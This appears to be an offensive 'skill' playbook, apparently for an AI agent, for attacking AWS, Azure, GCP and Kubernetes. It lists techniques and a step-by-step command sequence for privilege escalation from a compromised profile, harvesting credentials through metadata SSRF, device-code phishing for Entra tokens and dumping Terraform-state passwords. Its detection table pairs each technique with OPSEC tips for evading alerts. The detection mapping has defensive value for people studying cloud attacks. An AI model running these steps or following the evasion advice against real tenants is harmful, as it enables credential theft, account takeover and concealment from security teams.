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cloud-security【部署与运维】Use when attacking AWS/Azure/GCP cloud — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains, Kubernetes/container escape, IaC/CI-CD federation abuse
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name: cloud-security description: Use when attacking AWS/Azure/GCP cloud — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains, Kubernetes/container escape, IaC/CI-CD federation abuse metadata: type: offensive phase: exploitation tools: pacu, cloudfox, scoutsuite, prowler, trivy, kubectl, aws-cli, az-cli, gcloud, peirates, mkat, azurehound, roadtools, stratus-red-team, kube-bench mitre: [T1078.004, T1552.005, T1098.001, T1528, T1611, T1548] kill_chain: phase: [recon, exploit] step: [1, 4] attck_tactics: [TA0043, TA0001, TA0004, TA0008, TA0006] attck_techniques: [T1078.004, T1552.005, T1552.007, T1098.001, T1098.003, T1528, T1606.002, T1611, T1610, T1134.001, T1548, T1538] depends_on: [recon-osint] feeds_into: [exploit-development, active-directory-attack, advanced-redteam] inputs: [cloud_config, iam_policies, kubeconfig, ci_cd_config] outputs: [cloud_misconfig_list, finding_record, attack_path, stolen_credentials] references:
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| AWS IAM privesc (CreatePolicyVersion, PassRole, AttachPolicy) | T1098.001 | CWE-269 | references/aws-iam-privesc.md | scripts/aws_privesc_enum.py |
AWS sts:AssumeRoot member-account escalation | T1078.004 | CWE-269 | references/aws-iam-privesc.md | scripts/aws_privesc_enum.py |
| Cross-account confused deputy / missing ExternalId | T1078.004 | CWE-441 | references/aws-iam-privesc.md | scripts/oidc_trust_auditor.py |
| IMDS / metadata SSRF credential theft (AWS/Azure/GCP) | T1552.005 | CWE-918 | references/imds-metadata-ssrf.md | scripts/imds_harvester.py |
| EKS node creds → IRSA / Pod Identity pivot | T1552.007 | CWE-668 | references/imds-metadata-ssrf.md | scripts/imds_harvester.py |
| Entra device-code phishing → PRT / device join | T1528 | CWE-287 | references/azure-entra-attacks.md | scripts/entra_device_code_phish.py |
| FOCI refresh-token family abuse | T1550.001 | CWE-613 | references/azure-entra-attacks.md | scripts/entra_device_code_phish.py |
| Azure Managed Identity / App-Admin → SP escalation | T1098.001 | CWE-269 | references/azure-entra-attacks.md | scripts/imds_harvester.py |
GCP actAs + resource create impersonation chain | T1078.004 | CWE-269 | references/gcp-attacks.md | scripts/gcp_impersonation_mapper.py |
GCP serviceAccountTokenCreator token chains | T1528 | CWE-269 | references/gcp-attacks.md | scripts/gcp_impersonation_mapper.py |
| Vertex AI P4SA / Ray head-node escalation | T1078.004 | CWE-732 | references/gcp-attacks.md | scripts/gcp_impersonation_mapper.py |
| Container escape (runc Leaky Vessels CVE-2024-21626) | T1611 | CWE-668 | references/kubernetes-container-escape.md | - |
| IngressNightmare (CVE-2025-1974) cluster takeover | T1190 | CWE-94 | references/kubernetes-container-escape.md | scripts/k8s_can_i_abuse.py |
| K8s RBAC privesc (pods/exec, token mount, node proxy) | T1078 | CWE-269 | references/kubernetes-container-escape.md | scripts/k8s_can_i_abuse.py |
| Terraform state secret extraction | T1552.001 | CWE-312 | references/iac-secrets-ci-cd.md | scripts/oidc_trust_auditor.py |
| OIDC federation trust-policy abuse (GitHub/TF Cloud) | T1199 | CWE-441 | references/iac-secrets-ci-cd.md | scripts/oidc_trust_auditor.py |
# --- 0. Identify where you are ---
aws sts get-caller-identity # AWS
az account show && az ad signed-in-user show # Azure
gcloud auth list && gcloud config get-value project # GCP
# --- 1. AWS: enumerate then map privesc paths ---
python3 scripts/aws_privesc_enum.py --profile compromised --json paths.json
cloudfox aws --profile compromised all-checks # alt: broad inventory
pacu # > run iam__enum_permissions ; run iam__privesc_scan
# --- 2. SSRF / metadata: harvest creds from a reachable compute target ---
python3 scripts/imds_harvester.py --ssrf "https://app/fetch?url=" --provider aws
python3 scripts/imds_harvester.py --local --provider azure --resource https://vault.azure.net/
# --- 3. Azure Entra: device-code phish for tokens (authorized phishing only) ---
python3 scripts/entra_device_code_phish.py --resource https://graph.microsoft.com \
--client-id 29d9ed98-a469-4536-ade2-f981bc1d605e # Auth Broker -> PRT path
# --- 4. GCP: build the service-account impersonation graph ---
python3 scripts/gcp_impersonation_mapper.py --project TARGET --out gcp_graph.json
# --- 5. Kubernetes: what can this token do, and can we break out? ---
python3 scripts/k8s_can_i_abuse.py --kubeconfig ./kubeconfig
kubectl auth can-i --list ; peirates
# --- 6. CI/CD + IaC: audit federation trust + dump state secrets ---
python3 scripts/oidc_trust_auditor.py --profile compromised
aws s3 cp s3://tf-state/prod/terraform.tfstate - | jq '.. | .password? // empty'
| Technique | Telemetry / IOC | Detection (Sigma / EDR / cloud) | OPSEC note |
|---|---|---|---|
| IAM privesc API calls | CloudTrail CreatePolicyVersion, AttachUserPolicy, CreateLoginProfile | Alert on IAM write by non-IAM-admin principal; GuardDuty PrivilegeEscalation:IAMUser/* | Use existing admin sessions; avoid bulk enum that trips anomaly detection |
sts:AssumeRoot | CloudTrail AssumeRoot (regional only) | Elastic "AssumeRoot by Rare User and Member Account" (new-terms rule) | Rare-event detection fires on first use per (principal, member account) |
| IMDS SSRF | VPC flow to 169.254.169.254 from web tier; STS use from new ASN | GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration* (creds used off-instance) | Use creds from same egress IP where possible; creds expire — refresh fast |
| Entra device-code phish | Sign-in logs authenticationProtocol=deviceCode; Auth Broker client 29d9ed98-...; new device registration | Sentinel device-code anomaly; CA "block device code flow" | Tokens valid even after password reset; device-join = MFA-resistant persistence |
| GCP impersonation | GenerateAccessToken / generateAccessToken in Admin Activity + Data Access logs | Alert on impersonation by principal lacking a documented chain | Requires Data Access (DATA_READ) audit logs enabled to see token minting |
| Container escape (runc) | New process from /proc/self/fd/* cwd; host binary writes; nsenter in container | Falco Container escape/Drop and execute new binary; runc ≤1.1.11 inventory | Overwrites host runc → noisy; prefer read-only host FS read for stealth |
| IngressNightmare | NGINX ingress pod loads .so from /proc; outbound from controller | Falco/Sysdig "IngressNightmare" shared-lib load; ingress-nginx < 1.11.5/1.12.1 | Exploit hits admission webhook (often internal-only) — low external noise |
| OIDC trust abuse | CloudTrail AssumeRoleWithWebIdentity from unexpected sub/repo | Alert on web-identity assume with mismatched aud/sub; RCP block | Wildcard sub (org:foo*) still exploitable; no creds needed |
sts:AssumeRoot, cross-account confused deputy / ExternalId, Cognito, secrets harvesting; detection per API.actAs + resource-create impersonation, serviceAccountTokenCreator chains, Cloud Functions takeover, Vertex AI ModeLeak/P4SA/Ray escalation.